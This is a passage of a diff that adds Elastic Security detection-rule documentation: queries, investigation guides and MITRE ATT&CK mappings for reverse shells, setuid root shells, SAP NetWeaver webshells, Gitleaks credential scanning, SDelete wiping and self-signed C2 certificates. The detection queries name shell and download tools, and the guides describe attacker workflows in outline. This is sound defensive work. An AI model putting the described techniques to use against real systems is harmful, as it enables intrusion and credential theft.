if the shell was intended to be interactive, which could indicate malicious intent. +- Investigate the user account associated with the process to determine if it is a legitimate user or if there are signs of compromise, such as unusual login times or locations. +- Correlate the event with other security logs or alerts to identify any additional suspicious activities or patterns that might indicate a broader attack campaign. +- Assess the risk and impact of the potential reverse shell by determining if any sensitive data or critical systems could have been accessed or compromised. + + +*False positive analysis* + + +- Legitimate administrative tasks using interactive shells may trigger this rule. System administrators often use shells with interactive flags for maintenance. To mitigate, create exceptions for known administrator accounts or specific IP addresses. +- Automated scripts or cron jobs that use shell commands with interactive flags can be mistaken for reverse shells. Review and whitelist these scripts by process name or parent process ID to prevent false alerts. +- Tools like socat are used in legitimate network troubleshooting and testing. If socat is frequently used in your environment, consider excluding specific command patterns or user accounts associated with its legitimate use. +- Development environments may spawn shell processes as part of testing or deployment workflows. Identify and exclude these environments by host ID or process name to reduce noise. +- Internal network connections that match the rule's criteria but are part of normal operations can be excluded by specifying internal IP ranges or known service accounts. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious shell processes identified by the detection rule, especially those initiated by socat or with interactive flags. +- Conduct a forensic analysis of the affected system to identify any additional indicators of compromise, such as unauthorized user accounts or modified files. +- Review and secure network configurations to ensure that only authorized IP addresses can initiate connections to critical systems. +- Update and patch the affected system and any related software to close vulnerabilities that may have been exploited. +- Implement enhanced monitoring and logging on the affected host and network to detect any further attempts at reverse shell activity. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if broader organizational impacts exist. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=5s + [network where event.type == "start" and host.os.type == "linux" and + event.action in ("connection_attempted", "connection_accepted") and + process.name : ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "socat") and destination.ip != null and + not cidrmatch(destination.ip, "127.0.0.0/8", "169.254.0.0/16", "224.0.0.0/4", "::1")] by process.entity_id + [process where event.type == "start" and host.os.type == "linux" and event.action in ("exec", "fork") and + process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and ( + (process.args : ("-i", "-l")) or (process.parent.name == "socat" and process.parent.args : "*exec*") + )] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Technique: +** Name: Non-Application Layer Protocol +** ID: T1095 +** Reference URL: https://attack.mitre.org/techniques/T1095/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-root-effective-shell-from-non-standard-path-via-auditd.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-root-effective-shell-from-non-standard-path-via-auditd.asciidoc new file mode 100644 index 0000000000..dbd1d40a3d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-root-effective-shell-from-non-standard-path-via-auditd.asciidoc @@ -0,0 +1,137 @@ +[[prebuilt-rule-8-19-34-potential-root-effective-shell-from-non-standard-path-via-auditd]] +=== Potential Root Effective Shell from Non-Standard Path via Auditd + +Identifies process execution events where the effective user is root while the real user is not, the process arguments include the privileged shell flag commonly associated with setuid-capable shells, and the executable path is outside standard system binary directories. That combination is consistent with abuse of setuid shells or similar helpers copied or linked into writable locations, a pattern used to regain a root context after local exploitation. + +*Rule type*: query + +*Rule indices*: + +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1548/001/ +* https://gtfobins.github.io/gtfobins/bash/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Auditd Manager +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Linux + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Root Effective Shell from Non-Standard Path via Auditd* + + +The rule surfaces executed processes where effective UID is root, real UID is not, the argument list contains -p +(often used with bash, dash, or similar to preserve privileges), and the executable is not under typical distro paths. +That aligns with interactive or scripted abuse of elevated shells from user-controlled locations. + + +*Possible investigation steps* + + +- Inspect process.executable, process.args, process.parent, and the full command line reconstructed in audit or ECS + fields. +- Confirm user.id versus user.effective.id and map the login session, TTY, and parent chain (SSH, cron, container + entrypoint). +- Check the on-disk binary for setuid bit, ownership, and recent file creation or rename events in the same directory. +- Correlate with authentication logs and sudo or polkit outcomes around the same timestamp. + + +*False positive analysis* + + +- Rare vendor bundles that place setuid helpers under /opt or /usr/local may need allowlisting after review. +- Container hosts where audit captures host and namespace PIDs together can add noise; scope by host group if needed. + + +*Response and remediation* + + +- If malicious, isolate the host, remove or quarantine the binary, revoke compromised accounts, audit all setuid + binaries on the filesystem, and re-image if integrity cannot be proven. + + +==== Setup + + + +*Setup* + + +This rule requires data from Auditd Manager or legacy Auditbeat shipping comparable ECS process fields on Linux. + + +*Auditd Manager Integration Setup* + +Auditd Manager receives events from the Linux audit subsystem. Deploy the integration from Kibana under Integrations, +add it to an agent policy, and install the Elastic Agent on Linux hosts that should emit syscall-backed process data. + +For integration details, see the https://docs.elastic.co/integrations/auditd_manager[Auditd Manager documentation]. + +Ensure process execution (for example execve) is audited so `event.action`, `user.id`, `user.effective.id`, +`process.args`, and `process.executable` are populated consistently for interactive shells. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and event.category:process and +event.action:(exec or executed) and user.id:(* and not 0) and +process.executable:(* and not (/bin/* or /nix/store/*/bin/sudo or /run/wrappers/wrappers*/sudo or /sbin/* or /usr/bin/* or /usr/sbin/* or "/usr/local/bin/pbrun")) and +user.effective.id:0 and process.args:-p + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-sap-netweaver-exploitation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-sap-netweaver-exploitation.asciidoc new file mode 100644 index 0000000000..7f74ca94a9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-sap-netweaver-exploitation.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-34-potential-sap-netweaver-exploitation]] +=== Potential SAP NetWeaver Exploitation + +Identifies suspicious processes spawned from the SAP NetWeaver application. This may indicate an attempt to execute commands via webshell. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://reliaquest.com/blog/threat-spotlight-reliaquest-uncovers-vulnerability-behind-sap-netweaver-compromise/ +* https://onapsis.com/blog/active-exploitation-of-sap-vulnerability-cve-2025-31324/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Web Shell +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: Linux + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential SAP NetWeaver Exploitation* + + + +*Possible investigation steps* + + +- Examine the process tree to verify the parent-child relationship between the Java process and any suspicious child processes such as shell scripts or scripting languages (e.g., sh, bash, curl, python). +- Check the command line arguments and environment variables of the suspicious child processes to identify any potentially malicious payloads or commands being executed. +- Investigate the host's recent activity and logs for any other indicators of compromise or unusual behavior that might correlate with the suspected exploitation attempt. +- Assess the system for any unauthorized changes or new files that may have been introduced as a result of the exploitation attempt, focusing on JSP files under the IRJ root directory. + + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further outbound connections and potential lateral movement. +- Terminate any suspicious Java processes identified in the alert, especially those making outbound connections to LDAP, RMI, or DNS ports. +- Conduct a thorough review of the affected system for any unauthorized changes or additional malicious processes, focusing on child processes like shell scripts or scripting languages. +- Restore the affected system from a known good backup if unauthorized changes or malware are detected. +- Update and patch Java and any related applications to the latest versions to mitigate known vulnerabilities. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on other systems within the network. + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and host.os.type in ("linux", "windows") and + process.name : ("sh", + "bash", + "dash", + "ksh", + "tcsh", + "zsh", + "curl", + "perl*", + "python*", + "ruby*", + "php*", + "wget", + "cmd.exe", + "powershell.exe", + "rundll32.exe", + "msbuild.exe", + "curl.exe", + "certutil.exe") and + ( + process.working_directory : ("/*/sap.com*/servlet_jsp/irj/*", "*\\sap.com*\\servlet_jsp\\irj\\*") or + process.command_line : ("*/sap.com*/servlet_jsp/irj/*", "*\\sap.com*\\servlet_jsp\\irj\\*") or + process.parent.command_line : ("*/sap.com*/servlet_jsp/irj/*", "*\\sap.com*\\servlet_jsp\\irj\\*") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-sap-netweaver-webshell-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-sap-netweaver-webshell-creation.asciidoc new file mode 100644 index 0000000000..85bb2b5f35 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-sap-netweaver-webshell-creation.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-34-potential-sap-netweaver-webshell-creation]] +=== Potential SAP NetWeaver WebShell Creation + +Identifies suspicious Java file creation in the IRJ directory of the SAP NetWeaver application. This may indicate an attempt to deploy a webshell. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-endpoint.events.file* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://reliaquest.com/blog/threat-spotlight-reliaquest-uncovers-vulnerability-behind-sap-netweaver-compromise/ +* https://onapsis.com/blog/active-exploitation-of-sap-vulnerability-cve-2025-31324/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Web Shell +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: Linux + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential SAP NetWeaver WebShell Creation* + + + +*Possible investigation steps* + + +- Examine the file creation event and the associated HTTP post request logs details to identify the source of the creation. +- Examine the process tree to verify the parent-child relationship between the Java process and any suspicious child processes such as shell scripts or scripting languages (e.g., sh, bash, curl, python). +- Check the command line arguments and environment variables of the suspicious child processes to identify any potentially malicious payloads or commands being executed. +- Investigate the host's recent activity and logs for any other indicators of compromise or unusual behavior that might correlate with the suspected exploitation attempt. +- Assess the system for any unauthorized changes or new files that may have been introduced as a result of the exploitation attempt, focusing on JSP files under the IRJ root directory. + + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further outbound connections and potential lateral movement. +- Terminate any suspicious Java processes identified in the alert, especially those making outbound connections to LDAP, RMI, or DNS ports. +- Conduct a thorough review of the affected system for any unauthorized changes or additional malicious processes, focusing on child processes like shell scripts or scripting languages. +- Restore the affected system from a known good backup if unauthorized changes or malware are detected. +- Update and patch Java and any related applications to the latest versions to mitigate known vulnerabilities. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on other systems within the network. + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type in ("linux", "windows") and event.action == "creation" and + file.extension : ("jsp", "java", "class") and + file.path : ("/*/sap.com/*/servlet_jsp/irj/root/*", + "/*/sap.com/*/servlet_jsp/irj/work/*", + "?:\\*\\sap.com\\*\\servlet_jsp\\irj\\root\\*", + "?:\\*\\sap.com\\*\\servlet_jsp\\irj\\work\\*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-secret-scanning-via-gitleaks.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-secret-scanning-via-gitleaks.asciidoc new file mode 100644 index 0000000000..af72dad250 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-secret-scanning-via-gitleaks.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-34-potential-secret-scanning-via-gitleaks]] +=== Potential Secret Scanning via Gitleaks + +This rule detects the execution of Gitleaks, a tool used to search for high-entropy strings and secrets in code repositories, which may indicate an attempt to access credentials. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/blog/shai-hulud-worm-npm-supply-chain-compromise +* https://socket.dev/blog/shai-hulud-strikes-again-v2 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Data Source: Auditd Manager +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: Linux +* Platform: macOS + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Secret Scanning via Gitleaks* + + +This alert fires when a host launches Gitleaks, a secret-scanning utility that hunts high-entropy strings and credentials in source code and repositories, signaling potential credential harvesting. An attacker may clone internal repos or traverse local workspace directories, drop a portable gitleaks binary in /tmp or %TEMP%, run recursive scans with wide rule sets and JSON output, then archive the results to exfiltrate tokens, API keys, and passwords for lateral movement and service impersonation. + + +*Possible investigation steps* + + +- Review the full command line to identify --path/--repo/--report/--format flags, which reveal scope and whether results are being written for exfiltration. +- Examine parent and ancestry plus user session to determine if it was launched by CI/dev tooling versus an interactive shell, and note execution from temp or unusual directories suggesting a dropped portable binary. +- Locate and inspect newly created artifacts (gitleaks.json, .sarif, .csv, zip archives) near the event time, confirm the presence of secrets, and map their sensitivity to affected systems. +- Correlate with network and data movement around the event for clones to internal repos and outbound transfers to cloud storage, paste sites, or email, and capture repository URLs or destinations if present. +- Trace how the binary arrived by checking recent downloads and file writes (curl/wget, package managers, GitHub releases), verify the binary’s hash and signer, and compare against known-good sources. + + +*False positive analysis* + + +- A developer or security team member intentionally runs gitleaks to audit internal code for secrets during routine hygiene, producing local report artifacts and showing normal parent processes without exfiltration behavior. +- A user invokes gitleaks with --version or --help to validate installation or review usage, which generates a process start event but performs no scanning or credential access. + + +*Response and remediation* + + +- If the run was unauthorized or executed from /tmp, %TEMP%, or a user profile, terminate gitleaks.exe/gitleaks, isolate the host from the network, and capture the binary path and hash for forensics. +- Quarantine report artifacts produced by the run (gitleaks.json, .sarif, .csv, and any zip archives) by securing copies for evidence, removing world-readable permissions, and deleting residual copies from the working directory, Downloads, repo folders, and CI workspaces after collection. +- Eradicate tooling by removing the dropped gitleaks binary and any wrapper scripts or CI job steps that invoke it, and enforce execution blocking for gitleaks in user-writable paths via application control or EDR policy. +- Immediately revoke and rotate any secrets confirmed in the reports or repository (cloud API keys, service tokens, SSH keys, credentials), purge them from repo history (git filter-repo/BFG) if present, redeploy updated secrets from the vault, and force password resets for affected accounts. +- Review git activity and data movement around the event for repo clones and exports, and inspect outbound transfers of report files to cloud storage, paste sites, or email; escalate to Incident Response and Legal if any report left the device or if production/customer credentials are exposed. +- Harden going forward by enabling approved server-side and CI secret scanning, enforcing pre-commit hooks, prohibiting PATs with broad scopes, restricting egress to paste/file-sharing sites, and blocking execution of portable binaries from temp and user-writable locations. + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and event.action like ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started", "Process Create*") and +process.name : ("gitleaks.exe", "gitleaks") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ +* Sub-technique: +** Name: Code Repositories +** ID: T1213.003 +** Reference URL: https://attack.mitre.org/techniques/T1213/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-secure-file-deletion-via-sdelete-utility.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-secure-file-deletion-via-sdelete-utility.asciidoc new file mode 100644 index 0000000000..8ac304aba6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-secure-file-deletion-via-sdelete-utility.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-34-potential-secure-file-deletion-via-sdelete-utility]] +=== Potential Secure File Deletion via SDelete Utility + +Detects file name patterns generated by the use of Sysinternals SDelete utility to securely delete a file via multiple file overwrite and rename operations. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Impact +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 315 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Secure File Deletion via SDelete Utility* + + +SDelete is a tool primarily used for securely deleting data from storage devices, making it unrecoverable. Microsoft develops it as part of the Sysinternals Suite. Although commonly used to delete data securely, attackers can abuse it to delete forensic indicators and remove files as a post-action to a destructive action such as ransomware or data theft to hinder recovery efforts. + +This rule identifies file name patterns generated by the use of SDelete utility to securely delete a file via multiple file overwrite and rename operations. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Examine the command line and identify the files deleted, their importance and whether they could be the target of antiforensics activity. + + +*False positive analysis* + + +- This is a dual-use tool, meaning its usage is not inherently malicious. Analysts can dismiss the alert if the administrator is aware of the activity, no other suspicious activity was identified, and there are justifications for the execution. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. + - Prioritize cases involving critical servers and users. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- If important data was encrypted, deleted, or modified, activate your data recovery plan. + - Perform data recovery locally or restore the backups from replicated copies (cloud, other servers, etc.). +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Review the privileges assigned to the user to ensure that the least privilege principle is being followed. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-11-setup[Sysmon Event ID 11 - File Create] + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type == "change" and file.name : "*AAA.AAA" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: File Deletion +** ID: T1070.004 +** Reference URL: https://attack.mitre.org/techniques/T1070/004/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-self-signed-tls-certificate-recently-issued-on-external-connection.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-self-signed-tls-certificate-recently-issued-on-external-connection.asciidoc new file mode 100644 index 0000000000..fc2486e741 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-self-signed-tls-certificate-recently-issued-on-external-connection.asciidoc @@ -0,0 +1,247 @@ +[[prebuilt-rule-8-19-34-potential-self-signed-tls-certificate-recently-issued-on-external-connection]] +=== Potential Self-Signed TLS Certificate Recently Issued on External Connection + +Identifies completed outbound TLS connections to external destinations where the server presents a recently issued, likely self-signed certificate whose issuer and subject distinguished names are equal. C2 frameworks frequently use freshly generated self-signed certificates instead of publicly trusted CAs. This behavioral logic complements hash-based C2 certificate rules, such as default Cobalt Strike team-server certificates, by catching rotated or custom infrastructure that does not reuse default tooling certificates. Distinguished-name equality identifies self-issued certificates but does not cryptographically prove that the certificate signed itself. The rule does not cover private-CA signed certificates, where issuer and subject differ, or C2 that uses publicly trusted certificates such as Let's Encrypt. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/reference/beats/packetbeat/configuration-tls +* https://www.elastic.co/docs/reference/ecs/ecs-x509 +* https://www.elastic.co/security-labs/collecting-cobalt-strike-beacons-with-the-elastic-stack + +*Tags*: + +* Domain: Network +* Use Case: Network 